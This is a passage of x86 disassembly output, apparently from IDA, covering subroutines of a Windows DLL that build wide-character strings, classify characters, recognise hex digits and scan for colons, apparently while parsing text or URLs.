jnz short loc_69B311BF
loc_69B311D5: ; CODE XREF: sub_69B31195:loc_69B311BDj
inc eax
inc eax
inc edi
cmp edi, [ebp+arg_4]
mov esi, edx
jl short loc_69B311AC
loc_69B311DF: ; CODE XREF: sub_69B31195+9j
; sub_69B31195+15j
xor al, al
loc_69B311E1: ; CODE XREF: sub_69B31195+2Cj
pop edi
pop esi
pop ebp
retn 0Ch
sub_69B31195 endp
; =============== S U B R O U T I N E =======================================
sub_69B311E7 proc near ; CODE XREF: sub_69B312D9+80p
; sub_69B31369+9Cp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push edi
mov esi, ecx
call sub_69B2ECB4
xor cl, cl
test eax, eax
jnz short loc_69B3122B
cmp [esi+0Ch], cl
jz short loc_69B31215
cmp [esi+0Dh], cl
jnz short loc_69B31215
mov eax, [esi+8]
mov edx, [esi]
mov eax, [eax+0Ch]
mov word ptr [eax+edx*2], 20h
inc dword ptr [esi]
loc_69B31215: ; CODE XREF: sub_69B311E7+17j
; sub_69B311E7+1Cj
mov eax, [esi+8]
mov edx, [esi]
mov [esi+0Ch], cl
mov [esi+0Dh], cl
mov eax, [eax+0Ch]
mov [eax+edx*2], di
inc dword ptr [esi]
jmp short loc_69B3122F
; ---------------------------------------------------------------------------
loc_69B3122B: ; CODE XREF: sub_69B311E7+12j
mov byte ptr [esi+0Ch], 1
loc_69B3122F: ; CODE XREF: sub_69B311E7+42j
xor eax, eax
cmp [esi+0Ch], cl
pop edi
setz al
pop esi
retn 4
sub_69B311E7 endp
; =============== S U B R O U T I N E =======================================
sub_69B3123C proc near ; CODE XREF: sub_69B312AE+23p
arg_0 = dword ptr 4
push ebx
push [esp+4+arg_0]
mov ebx, ecx
push 0
call sub_69B190D7
mov ecx, [ebx]
test ecx, ecx
jz short loc_69B31260
mov edx, [ebx+8]
push esi
mov esi, [edx+0Ch]
push edi
mov edi, [eax+0Ch]
rep movsw
pop edi
pop esi
loc_69B31260: ; CODE XREF: sub_69B3123C+12j
mov [ebx+8], eax
pop ebx
retn 4
sub_69B3123C endp
; =============== S U B R O U T I N E =======================================
sub_69B31267 proc near ; CODE XREF: sub_69B3BD45+35p
; sub_69B48F40+161p ...
push esi
mov esi, [ecx+4]
lea edx, [ecx+8]
mov eax, [edx]
mov [eax+8], esi
mov eax, [edx]
mov eax, [eax+0Ch]
xor esi, esi
push edi
mov edi, [ecx+4]
mov [eax+edi*2], si
mov eax, [edx]
pop edi
mov [edx], esi
mov [ecx], esi
mov [ecx+4], esi
pop esi
retn
sub_69B31267 endp
; =============== S U B R O U T I N E =======================================
sub_69B3128E proc near ; CODE XREF: sub_69B4AAFC+1E5p
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov eax, [esi+8]
test eax, eax
jz short loc_69B312A8
push [esp+4+arg_0]
lea ecx, [esi+4]
push ecx
push dword ptr [eax+0Ch]
call sub_69B310BE
loc_69B312A8: ; CODE XREF: sub_69B3128E+8j
mov eax, esi
pop esi
retn 4
sub_69B3128E endp
; =============== S U B R O U T I N E =======================================
sub_69B312AE proc near ; CODE XREF: sub_69B312D9+7p
; sub_69B31369+16p
arg_0 = dword ptr 4
cmp byte ptr [ecx+0Ch], 0
jz short loc_69B312B8
inc [esp+arg_0]
loc_69B312B8: ; CODE XREF: sub_69B312AE+4j
mov eax, [ecx+8]
mov eax, [eax+8]
mov edx, [esp+arg_0]
cmp edx, eax
jle short locret_69B312D6
lea eax, [eax+eax+2]
cmp edx, eax
jge short loc_69B312D0
mov edx, eax
loc_69B312D0: ; CODE XREF: sub_69B312AE+1Ej
push edx
call sub_69B3123C
locret_69B312D6: ; CODE XREF: sub_69B312AE+16j
retn 4
sub_69B312AE endp
; =============== S U B R O U T I N E =======================================
sub_69B312D9 proc near ; CODE XREF: sub_69B48F40+11Fp
; sub_69B4A76D+52p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
mov eax, [esi]
inc eax
push eax
call sub_69B312AE
mov eax, [esp+4+arg_4]
sub eax, 0
jz short loc_69B312F4
dec eax
jz short loc_69B31353
dec eax
jnz short loc_69B3134D
loc_69B312F4: ; CODE XREF: sub_69B312D9+13j
xor eax, eax
cmp [esp+4+arg_4], 2
push edi
mov edi, [esp+8+arg_0]
jnz short loc_69B31308
push edi
call sub_69B2ECB4
loc_69B31308: ; CODE XREF: sub_69B312D9+27j
mov cl, [esi+0Dh]
test cl, cl
jz short loc_69B31313
test eax, eax
jnz short loc_69B3134C
loc_69B31313: ; CODE XREF: sub_69B312D9+34j
cmp byte ptr [esi+0Ch], 0
jz short loc_69B3132D
test cl, cl
jnz short loc_69B3132D
mov ecx, [esi+8]
mov edx, [esi]
mov ecx, [ecx+0Ch]
mov word ptr [ecx+edx*2], 20h
inc dword ptr [esi]
loc_69B3132D: ; CODE XREF: sub_69B312D9+3Ej
; sub_69B312D9+42j
mov ecx, [esi+8]
mov edx, [esi]
mov byte ptr [esi+0Ch], 0
mov byte ptr [esi+0Dh], 0
mov ecx, [ecx+0Ch]
mov [ecx+edx*2], di
inc dword ptr [esi]
test eax, eax
mov ecx, [esi]
jnz short loc_69B3134C
mov [esi+4], ecx
loc_69B3134C: ; CODE XREF: sub_69B312D9+38j
; sub_69B312D9+6Ej
pop edi
loc_69B3134D: ; CODE XREF: sub_69B312D9+19j
; sub_69B312D9+87j ...
mov eax, esi
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_69B31353: ; CODE XREF: sub_69B312D9+16j
push [esp+4+arg_0]
mov ecx, esi
call sub_69B311E7
test al, al
jz short loc_69B3134D
mov eax, [esi]
mov [esi+4], eax
jmp short loc_69B3134D
sub_69B312D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B31369 proc near ; CODE XREF: sub_69B3146D+15p
; sub_69B3BD45+2Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov ebx, ecx
mov eax, [ebx]
lea eax, [eax+edi+1]
push eax
mov [ebp+var_4], edi
call sub_69B312AE
mov eax, [ebp+arg_8]
sub eax, 0
jz loc_69B31416
dec eax
jz short loc_69B313F2
dec eax
jnz loc_69B31464
cmp byte ptr [ebx+0Dh], 0
jz short loc_69B313CA
test edi, edi
jz loc_69B31464
loc_69B313A8: ; CODE XREF: sub_69B31369+57j
mov eax, [ebp+arg_0]
movzx eax, word ptr [eax]
push eax
call sub_69B2ECB4
test eax, eax
jz short loc_69B313C2
add [ebp+arg_0], 2
dec edi
mov [ebp+arg_4], edi
jnz short loc_69B313A8
loc_69B313C2: ; CODE XREF: sub_69B31369+4Dj
test edi, edi
jz loc_69B31464
loc_69B313CA: ; CODE XREF: sub_69B31369+35j
mov eax, [ebp+arg_0]
lea esi, [eax+edi*2]
loc_69B313D0: ; CODE XREF: sub_69B31369+76j
dec esi
xor eax, eax
dec esi
mov ax, [esi]
push eax
call sub_69B2ECB4
test eax, eax
jnz short loc_69B313D0
sub esi, [ebp+arg_0]
sar esi, 1
inc esi
mov [ebp+var_4], esi
jnz short loc_69B31416
mov byte ptr [ebx+0Ch], 1
jmp short loc_69B31464
; ---------------------------------------------------------------------------
loc_69B313F2: ; CODE XREF: sub_69B31369+28j
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_69B31464
test edi, edi
jle short loc_69B3140F
loc_69B313FD: ; CODE XREF: sub_69B31369+A4j
xor eax, eax
mov ax, [esi]
mov ecx, ebx
push eax
call sub_69B311E7
inc esi
inc esi
dec edi
jnz short loc_69B313FD
loc_69B3140F: ; CODE XREF: sub_69B31369+92j
mov eax, [ebx]
mov [ebx+4], eax
jmp short loc_69B31464
; ---------------------------------------------------------------------------
loc_69B31416: ; CODE XREF: sub_69B31369+21j
; sub_69B31369+81j
cmp byte ptr [ebx+0Ch], 0
jz short loc_69B31432
cmp byte ptr [ebx+0Dh], 0
jnz short loc_69B31432
mov eax, [ebx+8]
mov ecx, [ebx]
mov eax, [eax+0Ch]
mov word ptr [eax+ecx*2], 20h
inc dword ptr [ebx]
loc_69B31432: ; CODE XREF: sub_69B31369+B1j
; sub_69B31369+B7j
test edi, edi
mov byte ptr [ebx+0Ch], 0
mov byte ptr [ebx+0Dh], 0
jz short loc_69B31464
cmp [ebp+var_4], 0
mov eax, [ebx+8]
mov edx, [ebx]
mov eax, [eax+0Ch]
mov esi, [ebp+arg_0]
mov ecx, edi
lea edi, [eax+edx*2]
rep movsw
jz short loc_69B3145F
mov eax, [ebx]
add eax, [ebp+var_4]
mov [ebx+4], eax
loc_69B3145F: ; CODE XREF: sub_69B31369+ECj
mov eax, [ebp+arg_4]
add [ebx], eax
loc_69B31464: ; CODE XREF: sub_69B31369+2Bj
; sub_69B31369+39j ...
pop edi
pop esi
mov eax, ebx
pop ebx
leave
retn 0Ch
sub_69B31369 endp
; =============== S U B R O U T I N E =======================================
sub_69B3146D proc near ; CODE XREF: sub_69B48F40+E5p
; sub_69B48F40+153p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
test edx, edx
jz short loc_69B3148A
push esi
push [esp+4+arg_4]
mov esi, [edx+8]
mov edx, [edx+0Ch]
push esi
push edx
call sub_69B31369
pop esi
jmp short locret_69B3148C
; ---------------------------------------------------------------------------
loc_69B3148A: ; CODE XREF: sub_69B3146D+6j
mov eax, ecx
locret_69B3148C: ; CODE XREF: sub_69B3146D+1Bj
retn 8
sub_69B3146D endp
; =============== S U B R O U T I N E =======================================
sub_69B3148F proc near ; DATA XREF: .text:69B1C2ACo
mov eax, offset off_69B26228
retn
sub_69B3148F endp
; =============== S U B R O U T I N E =======================================
sub_69B31495 proc near ; DATA XREF: .text:69B18230o
push esi
push edi
mov edi, ecx
mov esi, [edi+8]
jmp short loc_69B314AB
; ---------------------------------------------------------------------------
loc_69B3149E: ; CODE XREF: sub_69B31495+1Fj
push esi
call sub_69B171A0
cmp dword ptr [eax+0Ch], 0
jnz short loc_69B314BB
inc esi
loc_69B314AB: ; CODE XREF: sub_69B31495+7j
mov eax, [edi+4]
mov ecx, [eax+20h]
cmp esi, [ecx+8]
jl short loc_69B3149E
xor al, al
loc_69B314B8: ; CODE XREF: sub_69B31495+28j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B314BB: ; CODE XREF: sub_69B31495+13j
mov al, 1
jmp short loc_69B314B8
sub_69B31495 endp
; =============== S U B R O U T I N E =======================================
sub_69B314BF proc near ; CODE XREF: sub_69B31501+8p
; sub_69B31510+8p
arg_0 = dword ptr 4
push esi
push edi
mov edi, ecx
mov esi, [edi+10h]
jmp short loc_69B314E6
; ---------------------------------------------------------------------------
loc_69B314C8: ; CODE XREF: sub_69B314BF+30j
push esi
call sub_69B171A0
cmp dword ptr [eax+0Ch], 0
jz short loc_69B314E5
mov ecx, [esp+8+arg_0]
mov [ecx], esi
mov ecx, [edi+14h]
sub ecx, 0
jz short loc_69B314FD
dec ecx
jz short loc_69B314F8
loc_69B314E5: ; CODE XREF: sub_69B314BF+13j
inc esi
loc_69B314E6: ; CODE XREF: sub_69B314BF+7j
mov eax, [edi+0Ch]
mov ecx, [eax+20h]
cmp esi, [ecx+8]
jl short loc_69B314C8
xor eax, eax
loc_69B314F3: ; CODE XREF: sub_69B314BF+3Cj
; sub_69B314BF+40j
pop edi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B314F8: ; CODE XREF: sub_69B314BF+24j
mov eax, [eax+4]
jmp short loc_69B314F3
; ---------------------------------------------------------------------------
loc_69B314FD: ; CODE XREF: sub_69B314BF+21j
mov eax, [eax]
jmp short loc_69B314F3
sub_69B314BF endp
; =============== S U B R O U T I N E =======================================
sub_69B31501 proc near ; DATA XREF: .text:69B18234o
var_4 = byte ptr -4
push ecx
lea eax, [esp+4+var_4]
push eax
add ecx, 0FFFFFFF8h
call sub_69B314BF
pop ecx
retn
sub_69B31501 endp
; =============== S U B R O U T I N E =======================================
sub_69B31510 proc near ; DATA XREF: .text:69B18238o
push esi
lea esi, [ecx+8]
push esi
add ecx, 0FFFFFFF8h
call sub_69B314BF
inc dword ptr [esi]
pop esi
retn
sub_69B31510 endp
; =============== S U B R O U T I N E =======================================
sub_69B31521 proc near ; CODE XREF: sub_69B315C2+Fp
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B2DC24
mov dword ptr [esi], offset off_69B1C290
and dword ptr [esi+20h], 0
and dword ptr [esi+24h], 0
mov eax, esi
pop esi
retn 4
sub_69B31521 endp
; =============== S U B R O U T I N E =======================================
sub_69B31541 proc near ; CODE XREF: sub_69B315F1+92p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
push edi
push esi
mov edi, ecx
call sub_69B4D414
push dword ptr [esi+4]
mov ecx, edi
push [esp+0Ch+arg_0]
call sub_69B18ACB
mov eax, [esi+8]
mov [edi+8], eax
mov eax, [esi+0Ch]
mov [edi+0Ch], eax
pop edi
pop esi
retn 8
sub_69B31541 endp
; =============== S U B R O U T I N E =======================================
sub_69B3156E proc near ; CODE XREF: sub_69B2F991+2Ap
; sub_69B2FA42+2Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push 18h
call sub_69B17EF3
test eax, eax
jz short loc_69B31585
mov ecx, eax
call sub_69B181CB
mov esi, eax
jmp short loc_69B31587
; ---------------------------------------------------------------------------
loc_69B31585: ; CODE XREF: sub_69B3156E+Aj
xor esi, esi
loc_69B31587: ; CODE XREF: sub_69B3156E+15j
push [esp+4+arg_0]
lea eax, [esi+0Ch]
push eax
call sub_69B17320
mov eax, [esp+4+arg_4]
and dword ptr [esi+10h], 0
mov [esi+14h], eax
lea eax, [esi+8]
pop esi
retn 8
sub_69B3156E endp
; =============== S U B R O U T I N E =======================================
sub_69B315A6 proc near ; CODE XREF: sub_69B4F636+9p
; sub_69B5B040+6Ap ...
push 28h
call sub_69B17EF3
test eax, eax
jz short loc_69B315BF
push 0
push 1
push 10h
mov ecx, eax
call sub_69B1A799
retn
; ---------------------------------------------------------------------------
loc_69B315BF: ; CODE XREF: sub_69B315A6+9j
xor eax, eax
retn
sub_69B315A6 endp
; =============== S U B R O U T I N E =======================================
sub_69B315C2 proc near ; DATA XREF: .text:69B2622Co
push 28h
call sub_69B17EF3
test eax, eax
jz short loc_69B315D7
push 0
mov ecx, eax
call sub_69B31521
retn
; ---------------------------------------------------------------------------
loc_69B315D7: ; CODE XREF: sub_69B315C2+9j
xor eax, eax
retn
sub_69B315C2 endp
; =============== S U B R O U T I N E =======================================
sub_69B315DA proc near ; CODE XREF: sub_69B1A5C0+74p
; sub_69B1A5C0+86p ...
push 28h
call sub_69B17EF3
test eax, eax
jz short loc_69B315EC
mov ecx, eax
jmp sub_69B1A799
; ---------------------------------------------------------------------------
loc_69B315EC: ; CODE XREF: sub_69B315DA+9j
xor eax, eax
retn 0Ch
sub_69B315DA endp
; =============== S U B R O U T I N E =======================================
sub_69B315F1 proc near ; DATA XREF: .text:69B1C248o
; .text:69B1C2B8o
var_4 = dword ptr -4
push ecx
push ebx
push esi
push edi
mov esi, ecx
call sub_69B2F49D
mov edi, eax
mov eax, [esi+20h]
push dword ptr [eax+8]
push 10h
call sub_69B11CFE
mov ebx, eax
test ebx, ebx
pop ecx
pop ecx
jz short loc_69B31626
mov ecx, ebx
call sub_69B19118
mov dword ptr [ebx], offset off_69B171C8
mov [esp+10h+var_4], ebx
jmp short loc_69B3162B
; ---------------------------------------------------------------------------
loc_69B31626: ; CODE XREF: sub_69B315F1+20j
and [esp+10h+var_4], 0
loc_69B3162B: ; CODE XREF: sub_69B315F1+33j
mov al, [esi+8]
push [esp+10h+var_4]
mov [edi+8], al
mov eax, [esi+0Ch]
mov [edi+0Ch], eax
mov eax, [esi+10h]
mov [edi+10h], eax
mov eax, [esi+14h]
mov [edi+14h], eax
mov eax, [esi+18h]
mov [edi+18h], eax
mov eax, [esi+1Ch]
mov [edi+1Ch], eax
lea eax, [edi+20h]
push eax
call sub_69B17320
mov ecx, [esi+20h]
xor ebx, ebx
cmp [ecx+8], ebx
jle short loc_69B31692
push ebp
loc_69B31667: ; CODE XREF: sub_69B315F1+9Ej
push ebx
call sub_69B171A0
mov ecx, [esp+14h+var_4]
push ebx
mov ebp, eax
call sub_69B171A0
cmp dword ptr [ebp+0Ch], 0
jz short loc_69B31688
push ebp
push esi
mov ecx, eax
call sub_69B31541
loc_69B31688: ; CODE XREF: sub_69B315F1+8Cj
mov ecx, [esi+20h]
inc ebx
cmp ebx, [ecx+8]
jl short loc_69B31667
pop ebp
loc_69B31692: ; CODE XREF: sub_69B315F1+73j
mov eax, edi
pop edi
pop esi
pop ebx
pop ecx
retn
sub_69B315F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B31699 proc near ; CODE XREF: sub_69B18A22+B62Ep
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov esi, ecx
lea edi, [esi+20h]
mov eax, [edi]
mov [ebp+var_10], eax
mov eax, [eax+8]
lea ebx, [eax+eax]
push ebx
push 10h
mov [ebp+var_8], eax
mov [ebp+var_C], ebx
call sub_69B11CFE
pop ecx
pop ecx
mov ecx, eax
test ecx, ecx
mov [ebp+var_4], ecx
jz short loc_69B316DE
call sub_69B19118
mov eax, [ebp+var_4]
mov dword ptr [eax], offset off_69B171C8
mov [ebp+var_4], eax
jmp short loc_69B316E2
; ---------------------------------------------------------------------------
loc_69B316DE: ; CODE XREF: sub_69B31699+30j
and [ebp+var_4], 0
loc_69B316E2: ; CODE XREF: sub_69B31699+43j
fild [ebp+var_C]
and dword ptr [esi+0Ch], 0
fld st
fmul dword ptr [esi+10h]
call sub_69B1A82C
fmul ds:flt_69B122A0
mov [esi+14h], eax
call sub_69B1A82C
push [ebp+var_4]
mov [esi+18h], eax
push edi
mov [esi+1Ch], ebx
call sub_69B17320
xor ebx, ebx
cmp [ebp+var_8], ebx
jle short loc_69B31744
loc_69B31717: ; CODE XREF: sub_69B31699+A9j
mov ecx, [ebp+var_10]
push ebx
call sub_69B171A0
mov edi, eax
cmp dword ptr [edi+0Ch], 0
jz short loc_69B3173E
push 0
push dword ptr [edi+4]
mov ecx, esi
push dword ptr [edi]
call sub_69B18A22
push esi
mov ecx, edi
call sub_69B17EA0
loc_69B3173E: ; CODE XREF: sub_69B31699+8Dj
inc ebx
cmp ebx, [ebp+var_8]
jl short loc_69B31717
loc_69B31744: ; CODE XREF: sub_69B31699+7Cj
pop edi
pop esi
pop ebx
leave
retn
sub_69B31699 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B31749 proc near ; CODE XREF: sub_69B4E185+3Dp
; sub_69B8BF13+6Dp ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov esi, ecx
call sub_69B2F49D
mov edi, eax
mov eax, [esi+20h]
push dword ptr [eax+8]
push 10h
call sub_69B11CFE
mov ebx, eax
test ebx, ebx
pop ecx
pop ecx
jz short loc_69B31782
mov ecx, ebx
call sub_69B19118
mov dword ptr [ebx], offset off_69B171C8
mov [ebp+var_8], ebx
jmp short loc_69B31786
; ---------------------------------------------------------------------------
loc_69B31782: ; CODE XREF: sub_69B31749+25j
and [ebp+var_8], 0
loc_69B31786: ; CODE XREF: sub_69B31749+37j
mov al, [esi+8]
push [ebp+var_8]
mov [edi+8], al
mov eax, [esi+0Ch]
mov [edi+0Ch], eax
mov eax, [esi+10h]
mov [edi+10h], eax
mov eax, [esi+14h]
mov [edi+14h], eax
mov eax, [esi+18h]
mov [edi+18h], eax
mov eax, [esi+1Ch]
mov [edi+1Ch], eax
lea eax, [edi+20h]
push eax
call sub_69B17320
mov ecx, [esi+20h]
and [ebp+var_4], 0
cmp dword ptr [ecx+8], 0
jle short loc_69B31824
loc_69B317C3: ; CODE XREF: sub_69B31749+D9j
push [ebp+var_4]
call sub_69B171A0
push [ebp+var_4]
mov ecx, [ebp+var_8]
mov ebx, eax
call sub_69B171A0
cmp dword ptr [ebx+0Ch], 0
mov [ebp+var_14], eax
jz short loc_69B31816
mov eax, [ebx]
push [ebp+arg_4]
mov [ebp+var_10], eax
mov eax, [ebx+4]
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_10]
push eax
push edi
call [ebp+arg_0]
push dword ptr [ebx+8]
mov ecx, [ebp+var_14]
push [ebp+var_C]
push [ebp+var_10]
push edi
call sub_69B18AA0
mov eax, [ebx+0Ch]
mov ecx, [ebp+var_14]
mov [ecx+0Ch], eax
loc_69B31816: ; CODE XREF: sub_69B31749+96j
inc [ebp+var_4]
mov ecx, [esi+20h]
mov eax, [ebp+var_4]
cmp eax, [ecx+8]
jl short loc_69B317C3
loc_69B31824: ; CODE XREF: sub_69B31749+78j
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B31749 endp
; =============== S U B R O U T I N E =======================================
sub_69B3182D proc near ; CODE XREF: sub_69B17064+60p
; sub_69B4D62C+169p ...
push 10h
push offset dword_69B31890
call sub_69B19C5C
mov esi, ecx
push dword ptr [esi+24h]
lea ecx, [ebp-1Ch]
call sub_69B18E23
and dword ptr [ebp-4], 0
push 0
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
mov ecx, esi
call sub_69B18A22
mov [ebp-20h], eax
jmp short loc_69B31877
; ---------------------------------------------------------------------------
loc_69B3185E: ; DATA XREF: .text:69B31894o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B31867: ; DATA XREF: .text:69B31898o
mov esp, [ebp-18h]
lea ecx, [ebp-1Ch]
call sub_69B1900C
call sub_69B2E860
loc_69B31877: ; CODE XREF: sub_69B3182D+2Fj
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-1Ch]
call sub_69B1900C
mov eax, [ebp-20h]
call sub_69B1853C
retn 8
sub_69B3182D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B31890 dd 0FFFFFFFFh dd offset loc_69B3185E
dd offset loc_69B31867
; =============== S U B R O U T I N E =======================================
sub_69B3189C proc near ; DATA XREF: .text:69B1C23Co
mov eax, offset off_69B318A4
retn
sub_69B3189C endp
; ---------------------------------------------------------------------------
align 4
off_69B318A4 dd offset off_69B26228 ; DATA XREF: sub_69B3189Co
dd offset loc_69B318AC
; ---------------------------------------------------------------------------
loc_69B318AC: ; DATA XREF: .text:69B318A8o
push esi
push 28h
call sub_69B17EF3
mov esi, eax
xor eax, eax
cmp esi, eax
jz short loc_69B318CF
push eax
push 1
push eax
mov ecx, esi
call sub_69B1A799
mov dword ptr [esi], offset off_69B1C220
mov eax, esi
loc_69B318CF: ; CODE XREF: .text:69B318BAj
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_69B318D1 proc near ; CODE XREF: sub_69B2132A+6Bp
; sub_69B2132A+16Cp ...
arg_0 = dword ptr 4
mov edx, [ecx+8]
cmp edx, [esp+arg_0]
jle short loc_69B318E3
mov eax, edx
sub eax, [esp+arg_0]
dec eax
jmp short loc_69B318E5
; ---------------------------------------------------------------------------
loc_69B318E3: ; CODE XREF: sub_69B318D1+7j
xor eax, eax
loc_69B318E5: ; CODE XREF: sub_69B318D1+10j
mov [ecx+14h], eax
mov eax, [ecx+24h]
cmp eax, edx
jz short locret_69B318F8
mov edx, [ecx+20h]
mov [ecx+28h], edx
mov [ecx+2Ch], eax
locret_69B318F8: ; CODE XREF: sub_69B318D1+1Cj
retn 4
sub_69B318D1 endp
; =============== S U B R O U T I N E =======================================
sub_69B318FB proc near ; CODE XREF: sub_69B320E7+6p
; sub_69B3592B+3Dp ...
mov edx, [ecx+8]
cmp [ecx+0Ch], edx
jz sub_69B88EFE
mov eax, [ecx]
imul eax, edx
add eax, [ecx+4]
inc edx
mov [ecx+8], edx
retn
sub_69B318FB endp
; =============== S U B R O U T I N E =======================================
sub_69B31914 proc near ; CODE XREF: sub_69B31A82+20p
; sub_69B31A82+31p ...
arg_0 = word ptr 4
movzx eax, [esp+arg_0]
mov ecx, eax
shr ecx, 8
mov ecx, off_69B98030[ecx*4]
and eax, 0FFh
movzx eax, byte ptr [eax+ecx]
and eax, 2
retn 4
sub_69B31914 endp
; =============== S U B R O U T I N E =======================================
sub_69B31934 proc near ; CODE XREF: sub_69B31D34+1Cp
arg_0 = word ptr 4
mov ax, [esp+arg_0]
cmp ax, 30h
jb short loc_69B31945
cmp ax, 39h
jbe short loc_69B3195D
loc_69B31945: ; CODE XREF: sub_69B31934+9j
cmp ax, 61h
jb short loc_69B31951
cmp ax, 66h
jbe short loc_69B3195D
loc_69B31951: ; CODE XREF: sub_69B31934+15j
cmp ax, 41h
jb short loc_69B31962
cmp ax, 46h
ja short loc_69B31962
loc_69B3195D: ; CODE XREF: sub_69B31934+Fj
; sub_69B31934+1Bj
xor eax, eax
inc eax
jmp short locret_69B31964
; ---------------------------------------------------------------------------
loc_69B31962: ; CODE XREF: sub_69B31934+21j
; sub_69B31934+27j
xor eax, eax
locret_69B31964: ; CODE XREF: sub_69B31934+2Cj
retn 4
sub_69B31934 endp
; =============== S U B R O U T I N E =======================================
sub_69B31967 proc near ; CODE XREF: sub_69B2132A+385p
; sub_69B2132A+3DCp ...
arg_0 = word ptr 4
movzx eax, [esp+arg_0]
mov ecx, eax
shr ecx, 8
mov ecx, off_69B98030[ecx*4]
and eax, 0FFh
movzx eax, byte ptr [eax+ecx]
and eax, 8
retn 4
sub_69B31967 endp
; =============== S U B R O U T I N E =======================================
sub_69B31987 proc near ; CODE XREF: sub_69B31F54+10p
; sub_69B32791+31p ...
arg_0 = word ptr 4
movzx eax, [esp+arg_0]
mov ecx, eax
shr ecx, 8
mov ecx, off_69B98030[ecx*4]
and eax, 0FFh
movzx eax, byte ptr [eax+ecx]
and eax, 4
retn 4
sub_69B31987 endp
; =============== S U B R O U T I N E =======================================
sub_69B319A7 proc near ; CODE XREF: sub_69B2132A+18Ep
; sub_69B325A9+D6p ...
arg_0 = word ptr 4
movzx eax, [esp+arg_0]
mov ecx, eax
shr ecx, 8
mov ecx, off_69B98030[ecx*4]
and eax, 0FFh
movzx eax, byte ptr [eax+ecx]
and eax, 10h
retn 4
sub_69B319A7 endp
; =============== S U B R O U T I N E =======================================
sub_69B319C7 proc near ; CODE XREF: sub_69B31B27+16p
arg_0 = word ptr 4
mov ax, [esp+arg_0]
cmp ax, 20h
jb short loc_69B319F0
cmp ax, 5Ah
ja short loc_69B319F0
cmp ax, 22h
jz short loc_69B319F0
cmp ax, 26h
jz short loc_69B319F0
cmp ax, 3Ch
jz short loc_69B319F0
cmp ax, 3Eh
jnz short loc_69B31A12
loc_69B319F0: ; CODE XREF: sub_69B319C7+9j
; sub_69B319C7+Fj ...
cmp ax, 61h
jb short loc_69B319FC
cmp ax, 7Ah
jbe short loc_69B31A12
loc_69B319FC: ; CODE XREF: sub_69B319C7+2Dj
cmp ax, 0Ah
jz short loc_69B31A12
cmp ax, 0Dh
jz short loc_69B31A12
cmp ax, 5Fh
jz short loc_69B31A12
xor eax, eax
jmp short locret_69B31A15
; ---------------------------------------------------------------------------
loc_69B31A12: ; CODE XREF: sub_69B319C7+27j
; sub_69B319C7+33j ...
xor eax, eax
inc eax
locret_69B31A15: ; CODE XREF: sub_69B319C7+49j
retn 4
sub_69B319C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B31A18 proc near ; CODE XREF: sub_69B31F54+1Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
push edi
xor edi, edi
mov [eax], edi
mov ax, [esi]
cmp ax, 3Ah
mov [ebp+arg_0], esi
jz short loc_69B31A7A
push ebx
mov ebx, eax
cmp bx, di
jz short loc_69B31A79
loc_69B31A3B: ; CODE XREF: sub_69B31A18+41j
push ebx
call sub_69B31967
test eax, eax
jz short loc_69B31A5B
cmp bx, 3Ah
jnz short loc_69B31A51
test edi, edi
jnz short loc_69B31A5F
mov edi, esi
loc_69B31A51: ; CODE XREF: sub_69B31A18+31j
inc esi
inc esi
mov bx, [esi]
test bx, bx
jnz short loc_69B31A3B
loc_69B31A5B: ; CODE XREF: sub_69B31A18+2Bj
test edi, edi
jz short loc_69B31A79
loc_69B31A5F: ; CODE XREF: sub_69B31A18+35j
mov eax, esi
sub eax, edi
and eax, 0FFFFFFFEh
cmp eax, 2
jnz short loc_69B31A6F
mov esi, edi
jmp short loc_69B31A79
; ---------------------------------------------------------------------------
loc_69B31A6F: ; CODE XREF: sub_69B31A18+51j
sub edi, [ebp+arg_0]
mov eax, [ebp+arg_4]
sar edi, 1
mov [eax], edi
loc_69B31A79: ; CODE XREF: sub_69B31A18+21j
; sub_69B31A18+45j ...
pop ebx
loc_69B31A7A: ; CODE XREF: sub_69B31A18+19j
pop edi
mov eax, esi
pop esi
pop ebp
retn 8
sub_69B31A18 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B31A82 proc near ; CODE XREF: sub_69B4FDBC+643p
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
